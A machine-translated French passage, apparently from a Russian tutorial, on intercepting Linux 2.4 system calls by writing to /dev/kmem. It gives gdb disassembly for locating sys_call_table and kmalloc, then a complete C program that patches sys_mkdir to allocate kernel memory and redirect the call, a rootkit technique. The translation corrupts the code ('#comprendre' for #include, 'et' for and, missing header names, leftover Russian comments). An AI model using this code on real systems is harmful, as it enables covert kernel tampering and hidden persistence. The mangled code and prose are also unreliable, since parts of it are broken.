En mode réel, le processeur, lors de l'enregistrement d'une interruption, se réfère à la table des vecteurs d'interruption, qui se trouve toujours au tout début de la mémoire et contient les adresses à deux conditions des programmes de traitement des interruptions. En mode protégé, la table de descripteurs d'interruption (IDT) située dans le système d'exploitation en mode protégé est analogue à la table de vecteurs d'interruption. Pour que le processeur puisse accéder à cette table, son adresse doit être chargée dans l'IDTR (Interrupt Descriptor Table Register). L'IDT contient des descripteurs de gestionnaires d'interruptions, qui incluent notamment leurs adresses. Ces descripteurs sont appelés passerelles (portes). Le processeur, ayant enregistré une interruption, par son numéro extrait la passerelle de l'IDT, détermine l'adresse du gestionnaire et lui transfère le contrôle.

Pour calculer l'adresse de la fonction system_call à partir de la table IDT, il est nécessaire d'extraire la passerelle d'interruption int $ 0x80, et à partir de celle-ci - l'adresse du gestionnaire correspondant, c'est-à-dire adresse de la fonction system_call. Dans la fonction system_call, l'accès à la system_call_table est effectué par la commande call<адрес_таблицы>(,% ex., 4). Après avoir trouvé l'opcode (signature) de cette commande dans le fichier /dev/kmem, nous allons également retrouver l'adresse de la table d'appel système.

Pour déterminer l'opcode, nous allons utiliser le débogueur et désassembler la fonction system_call :

# gdb -q / usr / src / linux / vmlinux (gdb) disas system_call Dump du code assembleur pour la fonction system_call : 0xc0194cbc : push% eax 0xc0194cbd : cld 0xc0194cbe : push% es 0xc0194cbf : push% ds 0xc0194cc0 : push% eax 0xc0194cc1 : push% ebp 0xc0194cc2 : push% edi 0xc0194cc3 : push% esi 0xc0194cc4 : push% edx 0xc0194cc5 : push% ecx 0xc0194cc6 : push% ebx 0xc0194cc7 : mov $ 0x18,% edx 0xc0194ccc : mov% edx,% ds 0xc0194cce : mov% edx,% es 0xc0194cd0 : mov $ 0xffffe000,% ebx 0xc0194cd5 : et% esp,% ebx 0xc0194cd7 : testb $ 0x2,0x18 (% ebx) 0xc0194cdb : jne 0xc0194d3c 0xc0194cdd : cmp $ 0x10e,% eax 0xc0194ce2 : jae 0xc0194d69 0xc0194ce8 : appel * 0xc02cbb0c (,% eax, 4) 0xc0194cef : mov% eax, 0x18 (% esp, 1) 0xc0194cf3 : nop Fin du vidage de l'assembleur. La ligne "call * 0xc02cbb0c (,% eax, 4)" est l'appel à la table sys_call_table. La valeur 0xc02cbb0c est l'adresse de la table (vos nombres seront probablement différents). On obtient l'opcode de cette commande : (gdb) x / xw system_call + 44 0xc0194ce8 : 0x0c8514ff Nous avons trouvé l'opcode de la commande pour accéder à la table sys_call_table. C'est \xff\x14\x85. Les 4 octets suivants sont l'adresse de la table. Vous pouvez le vérifier en entrant la commande : (gdb) x / xw system_call + 44 + 3 0xc0194ceb : 0xc02cbb0c Ainsi, en trouvant la séquence \xff\x14\x85 dans le fichier/dev/kmem et en lisant les 4 octets suivants, on obtient l'adresse de la table d'appel système sys_call_table. Connaissant son adresse, nous pouvons obtenir le contenu de cette table (adresses de toutes les fonctions système) et modifier l'adresse de tout appel système en l'interceptant.

Considérez le pseudocode qui effectue l'opération d'interception :

Readaddr (old_syscall, scr + SYS_CALL * 4, 4); writeaddr (new_syscall, scr + SYS_CALL * 4, 4); La fonction readaddr lit l'adresse d'appel système dans la table des appels système et la stocke dans la variable old_syscall. Chaque entrée de la sys_call_table a une longueur de 4 octets. L'adresse requise est située à l'offset sct + SYS_CALL * 4 dans le fichier /dev/kmem (ici sct est l'adresse de la table sys_call_table, SYS_CALL est le numéro de séquence de l'appel système). La fonction writeaddr remplace l'adresse de l'appel système SYS_CALL par l'adresse de la fonction new_syscall et tous les appels à l'appel système SYS_CALL seront traités par cette fonction.

Il semble que tout soit simple et que l'objectif ait été atteint. Cependant, rappelons-nous que nous travaillons dans l'espace d'adressage de l'utilisateur. Si nous plaçons une nouvelle fonction système dans cet espace d'adressage, alors lorsque nous appelons cette fonction, nous obtiendrons un beau message d'erreur. D'où la conclusion - un nouvel appel système doit être placé dans l'espace d'adressage du noyau. Pour ce faire, vous devez : récupérer un bloc de mémoire dans l'espace noyau, placer un nouvel appel système dans ce bloc.

Vous pouvez allouer de la mémoire dans l'espace noyau en utilisant la fonction kmalloc. Mais vous ne pouvez pas appeler une fonction du noyau directement depuis l'espace d'adressage de l'utilisateur, nous utiliserons donc l'algorithme suivant :

  • connaissant l'adresse de la table sys_call_table, nous obtenons l'adresse d'un appel système (par exemple, sys_mkdir)
  • définir une fonction qui appelle la fonction kmalloc. Cette fonction renvoie un pointeur vers un bloc de mémoire dans l'espace d'adressage du noyau. Appelons cette fonction get_kmalloc
  • enregistrer les N premiers octets de l'appel système sys_mkdir, où N est la taille de la fonction get_kmalloc
  • écraser les N premiers octets de l'appel sys_mkdir avec la fonction get_kmalloc
  • nous faisons un appel à l'appel système sys_mkdir, démarrant ainsi la fonction get_kmalloc pour l'exécution
  • restaurer les N premiers octets de l'appel système sys_mkdir
En conséquence, nous avons à notre disposition un bloc de mémoire situé dans l'espace noyau.

Mais pour implémenter cet algorithme, nous avons besoin de l'adresse de la fonction kmalloc. Il y a plusieurs façons de le trouver. Le plus simple est de lire cette adresse dans le fichier System.map ou de la déterminer à l'aide du débogueur gdb (print & kmalloc). Si les modules sont activés dans le noyau, l'adresse kmalloc peut être déterminée à l'aide de la fonction get_kernel_syms(). Cette option sera discutée ci-dessous. S'il n'y a pas de support pour les modules du noyau, alors l'adresse de la fonction kmalloc devra être recherchée par l'opcode de la commande d'appel kmalloc - similaire à la façon dont cela a été fait pour la table sys_call_table.

Kmalloc prend deux paramètres : la taille de la mémoire demandée et le spécificateur GFP. Pour trouver l'opcode, nous allons utiliser le débogueur et désassembler toute fonction du noyau qui contient un appel à la fonction kmalloc.

# gdb -q / usr / src / linux / vmlinux (gdb) disas inter_module_register Dump du code assembleur pour la fonction inter_module_register : 0xc01a57b4 : push% ebp 0xc01a57b5 : push% edi 0xc01a57b6 : push% esi 0xc01a57b7 : push% ebx 0xc01a57b8 : sous $ 0x10,% esp 0xc01a57bb : mov 0x24 (% esp, 1),% ebx 0xc01a57bf : mov 0x28 (% esp, 1),% esi 0xc01a57c3 : mov 0x2c (% esp, 1),% ebp 0xc01a57c7 : movl $ 0x1f0,0x4 (% esp, 1) 0xc01a57cf : movl $ 0x14, (% esp, 1) 0xc01a57d6 : appelez le 0xc01bea2a ... Peu importe ce que fait la fonction, l'essentiel est ce dont nous avons besoin - un appel à la fonction kmalloc. Faites attention à la dernière ligne. Tout d'abord, les paramètres sont chargés sur la pile (le registre en particulier pointe vers le haut de la pile), puis l'appel de fonction suit. Le spécificateur GFP (0x1f0,0x4 (% esp, 1) est chargé en premier dans la pile. Pour les versions de noyau 2.4.9 et supérieures, cette valeur est 0x1f0. Trouvez l'opcode de cette commande : (gdb) x / xw inter_module_register + 19 0xc01a57c7 : 0x042444c7 Si nous trouvons cet opcode, nous pouvons calculer l'adresse de la fonction kmalloc. À première vue, l'adresse de cette fonction est un argument de l'instruction d'appel, mais ce n'est pas tout à fait vrai. Contrairement à la fonction system_call, ici derrière l'instruction n'est pas l'adresse kmalloc, mais le décalage par rapport à l'adresse actuelle. Nous vérifions cela en définissant l'opcode de la commande call 0xc01bea2a : (gdb) x / xw inter_module_register + 34 0xc01a57d6 : 0x01924fe8 Le premier octet est e8, qui est l'opcode de l'instruction d'appel. Retrouvons la valeur de l'argument de cette commande : (gdb) x / xw inter_module_register + 35 0xc01a57d7 : 0x0001924f Maintenant, si nous ajoutons l'adresse actuelle 0xc01a57d6, l'offset 0x0001924f et 5 octets de la commande, nous obtenons l'adresse requise de la fonction kmalloc - 0xc01bea2a.

Ceci termine les calculs théoriques et, en utilisant la technique ci-dessus, nous intercepterons l'appel système sys_mkdir.

6. Un exemple d'interception au moyen de /dev/kmem

/ * source 6.0 * / #include #comprendre #comprendre #comprendre #comprendre #comprendre #comprendre #comprendre / * Numéro d'appel système à intercepter * / #define _SYS_MKDIR_ 39 #define KMEM_FILE "/ dev / kmem" #define MAX_SYMS 4096 / * Description du format de registre IDTR * / struct (unsigned short limit; unsigned int base;) __attribute__ ((packed) ) idtr; / * Description du format de la passerelle d'interruption IDT * / struct (unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2;) __attribute__ ((packed)) idt; / * Description de la structure de la fonction get_kmalloc * / struct kma_struc (ulong (* kmalloc) (uint, int); // - adresse de la fonction kmalloc int size; // - taille mémoire pour l'allocation des int flags; // - flag, pour les cœurs> 2.4.9 = 0x1f0 (GFP) ulong mem;) __attribute__ ((packed)) kmalloc; / * Une fonction qui alloue uniquement un bloc de mémoire dans l'espace d'adressage du noyau * / int get_kmalloc (struct kma_struc * k) (k-> mem = k-> kmalloc (k-> size, k-> flags); return 0 ;) / * Une fonction qui renvoie l'adresse de la fonction (nécessaire pour trouver kmalloc) * / ulong get_sym (char * n) (struct kernel_sym tab; int numsyms; int i; numsyms = get_kernel_syms (NULL); if (numsyms> MAX_SYMS || numsyms< 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } /* Наша новая системная функция, ничего не делает;) */ int new_mkdir(const char *path) { return 0; } /* Читает из /dev/kmem с offset size данных в buf */ static inline int rkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset){ printf("lseek err\n"); return 0; } if (read(fd, buf, size) != size) return 0; return size; } /* Аналогично, но только пишет в /dev/kmem */ static inline int wkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* Читает из /dev/kmem данные размером 4 байта */ static inline int rkml(int fd, uint offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* Аналогично, но только пишет */ static inline int wkml(int fd, uint offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } /* Функция для получения адреса sys_call_table */ ulong get_sct(int kmem) { ulong sys_call_off; // - адрес обработчика // прерывания int $0x80 (функция system_call) char *p; char sc_asm; asm("sidt %0" : "=m" (idtr)); if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt))) return 0; sys_call_off = (idt.off2 << 16) | idt.off1; if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0; p = (char *)memmem(sc_asm, 128, "\xff\x14\x85", 3) + 3; printf("call for sys_call_table at %08x\n",p); if (p) return *(ulong *)p; return 0; } /* Функция для определения адреса функции kmalloc */ ulong get_kma(ulong pgoff) { uint i; unsigned char buf, *p, *p1; int kmemz; ulong ret; ret = get_sym("kmalloc"); if (ret) { printf("\nZer gut!\n"); return ret; } kmemz = open("/dev/kmem", O_RDONLY); if (kmemz < 0) return 0; for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000){ if (!rkm(kmemz, i, buf, sizeof(buf))) return 0; p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4); if(p1) { p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1; if (p) { close(kmemz); return *(unsigned long *)p+i+(p-buf)+4; } } } close(kmemz); return 0; } int main() { int kmem; // !! - пустые, нужно подставить ulong get_kmalloc_size; // - размер функции get_kmalloc !! ulong get_kmalloc_addr; // - адрес функции get_kmalloc !! ulong new_mkdir_size; // - размер функции-перехватчика!! ulong new_mkdir_addr; // - адрес функции-перехватчика!! ulong sys_mkdir_addr; // - адрес системного вызова sys_mkdir ulong page_offset; // - нижняя граница адресного // пространства ядра ulong sct; // - адрес таблицы sys_call_table ulong kma; // - адрес функции kmalloc unsigned char tmp; kmem = open(KMEM_FILE, O_RDWR, 0); if (kmem < 0) return 0; sct = get_sct(kmem); page_offset = sct & 0xF0000000; kma = get_kma(page_offset); printf("OK\n" "page_offset\t\t:\t0x%08x\n" "sys_call_table\t:\t0x%08x\n" "kmalloc()\t\t:\t0x%08x\n", page_offset,sct,kma); /* Найдем адрес sys_mkdir */ if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) { printf("Cannot get addr of %d syscall\n", _SYS_MKDIR_); perror("er: "); return 1; } /* Сохраним первые N байт вызова sys_mkdir */ if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Cannot save old %d syscall!\n", _SYS_MKDIR_); return 1; } /* Перепишем первые N байт, функцией get_kmalloc */ if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, get_kmalloc_size)) { printf("Can"t overwrite our syscall %d!\n",_SYS_MKDIR_); return 1; } kmalloc.kmalloc = (void *) kma; //- адрес функции kmalloc kmalloc.size = new_mkdir_size; //- размер запращевоемой // памяти (размер функции-перехватчика new_mkdir) kmalloc.flags = 0x1f0; //- спецификатор GFP /* Выполним сис. вызов sys_mkdir, тем самым выполним нашу функцию get_kmalloc */ mkdir((char *)&kmalloc,0); /* Востановим оригинальный вызов sys_mkdir */ if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Can"t restore syscall %d !\n",_SYS_MKDIR_); return 1; } if (kmalloc.mem < page_offset) { printf("Allocated memory is too low (%08x < %08x)\n", kmalloc.mem, page_offset); return 1; } /* Оторбразим результаты */ printf("sys_mkdir_addr\t\t:\t0x%08x\n" "get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n" "our kmem region\t\t:\t0x%08x\n" "size of our kmem\t:\t0x%08x (%d bytes)\n\n", sys_mkdir_addr, get_kmalloc_size, get_kmalloc_size, kmalloc.mem, kmalloc.size, kmalloc.size); /* Разместим в пространстве ядра наш новый сис. вызво */ if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, new_mkdir_size)) { printf("Unable to locate new system call !\n"); return 1; } /* Перепишем таблицу sys_call_table на наш новый вызов */ if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) { printf("Eh ..."); return 1; } return 1; } /* EOF */ Скомпилируем полученый код и определим адреса и размеры функций get_kmalloc и new_mkdir. Запускать полученое творение рано! Для вычисления адресов и размеров воспользуемся утилитой objdump: # gcc -o src-6.0 src-6.0.c # objdump -x ./src-6.0 >dump Ouvrons le fichier de vidage et trouvons les données qui nous intéressent : 080485a4 g F .text 00000032 get_kmalloc 080486b1 g F .text 0000000a new_mkdir Maintenant, nous allons entrer ces valeurs dans notre programme : ulong get_kmalloc_size = 0x32 ; ulong get_kmalloc_addr = 0x080485a4; ulong new_mkdir_size = 0x0a; ulong new_mkdir_addr = 0x080486b1; Recompilons maintenant le programme. En le lançant pour exécution, nous intercepterons l'appel système sys_mkdir. Tous les appels à l'appel sys_mkdir seront désormais servis par la fonction new_mkdir.

Fin du papier / EOP

Les performances du code de toutes les sections ont été testées sur le noyau 2.4.22. Lors de la préparation du rapport, les matériaux du site ont été utilisés
2021 wisemotors.ru. Comment ça fonctionne. Le fer. Exploitation minière. Crypto-monnaie.